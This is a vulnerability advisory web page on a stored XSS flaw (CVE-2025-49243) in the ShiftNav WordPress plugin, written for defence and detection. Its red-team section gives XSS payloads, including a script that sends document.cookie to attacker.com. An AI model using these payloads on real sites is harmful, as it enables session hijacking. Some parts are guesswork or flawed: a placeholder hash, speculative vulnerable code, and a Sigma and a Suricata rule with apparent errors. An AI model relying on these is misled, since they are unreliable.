CVE-2025-49243
Executive Summary
CVE-2025-49243 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin ShiftNav – Responsive Mobile Menu (shiftnav-responsive-mobile-menu) by Sevenspark. The vulnerability exists in versions up to and including 1.8. An authenticated attacker with contributor-level privileges or higher can inject malicious scripts into the plugin’s settings or menu items, which are then stored and executed in the browsers of other users (including administrators) when they view the affected pages. This can lead to session hijacking, defacement, or redirection to malicious sites. The CVSS score is 6.5 (Medium), and no official patch has been released as of the time of analysis.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is unpatched, any site running version 1.8 or earlier is at risk. Users should consider removing or replacing the plugin until a fix is available.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS makes it persistent and dangerous for site administrators.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user input in the ShiftNav plugin. The plugin likely stores user-supplied data (e.g., menu item labels, descriptions, or custom CSS/JS fields) without proper sanitization or output encoding. When this data is later rendered in the WordPress admin panel or frontend, it is interpreted as HTML/JavaScript, allowing an attacker to inject arbitrary scripts.
Attack Flow:
- An attacker with contributor-level access logs into WordPress.
- The attacker navigates to the ShiftNav settings or menu editor.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into an unsanitized field. - The payload is stored in the database.
- When an administrator or other user views the affected page (e.g., the menu settings or a page using the menu), the script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect them to a phishing site.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable: Direct output without sanitization
echo '<div class="shiftnav-menu-item">' . $menu_item_label . '</div>';
A patched version would use WordPress’s built-in escaping functions:
// Patched: Proper output encoding
echo '<div class="shiftnav-menu-item">' . esc_html( $menu_item_label ) . '</div>';
The plugin should also sanitize input on save using sanitize_text_field() or wp_kses_post() depending on the context.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with ShiftNav <= 1.8 installed and activated.
- A user account with at least Contributor role.
Steps:
- Log in as the contributor.
- Navigate to Appearance > Menus or the ShiftNav settings page.
- In a menu item’s Navigation Label field, enter the following payload:
<img src=x onerror=alert(document.cookie)> - Save the menu.
- As an administrator, visit Appearance > Menus or any page that displays the menu.
- The XSS triggers, displaying the admin’s cookies in an alert box.
Advanced Payload (Session Hijacking):
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual changes to menu items or plugin settings by low-privileged users.
- Look for HTTP requests containing script tags or event handlers in POST data to
/wp-admin/nav-menus.phpor ShiftNav AJAX endpoints.
Prevention:
- Disable or remove the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
- Enforce strict Content Security Policy (CSP) headers.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (Example – replace with actual if available)
shiftnav-responsive-mobile-menu.php:a1b2c3d4e5f6...
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Suspicious POST requests to
/wp-admin/admin-ajax.phpwithaction=shiftnav_save_menuand payloads containing<script>tags.
- Log Entries:
- WordPress debug log entries showing
wp_ksesfailures or unescaped output. - Web server logs with
%3Cscript%3Eoronerror=in the request URI.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_49243_ShiftNav_XSS {
meta:
description = "Detects ShiftNav plugin files with potential XSS vulnerabilities"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-49243"
strings:
$vuln_func = /echo\s*\(?\s*\$[a-zA-Z_]+/
$unsanitized = /(?:$_POST|$_GET|$_REQUEST)\s*\[/
condition:
$vuln_func and $unsanitized and filesize < 500KB
}
Sigma Rule
title: CVE-2025-49243 ShiftNav Stored XSS Detection
id: 8f9a2b1c-3d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects potential stored XSS attempts against ShiftNav plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=shiftnav_save_menu'
cs-uri-query|contains|all:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in menu items (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-49243 ShiftNav Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=shiftnav_save_menu"; http_client_body; content:"<script"; nocase; content:"onerror"; nocase; distance:0; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the ShiftNav plugin from all WordPress installations.
- Scan the WordPress database for stored XSS payloads using a security plugin (e.g., Wordfence).
- Change all administrator passwords and application passwords.
Long-term Fix:
- Since no patch is available, consider switching to an alternative responsive menu plugin that is actively maintained.
- If you must keep ShiftNav, implement a Content Security Policy (CSP) that blocks inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com; - Use a Web Application Firewall (WAF) with rules to block XSS patterns.
Valters IT – Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.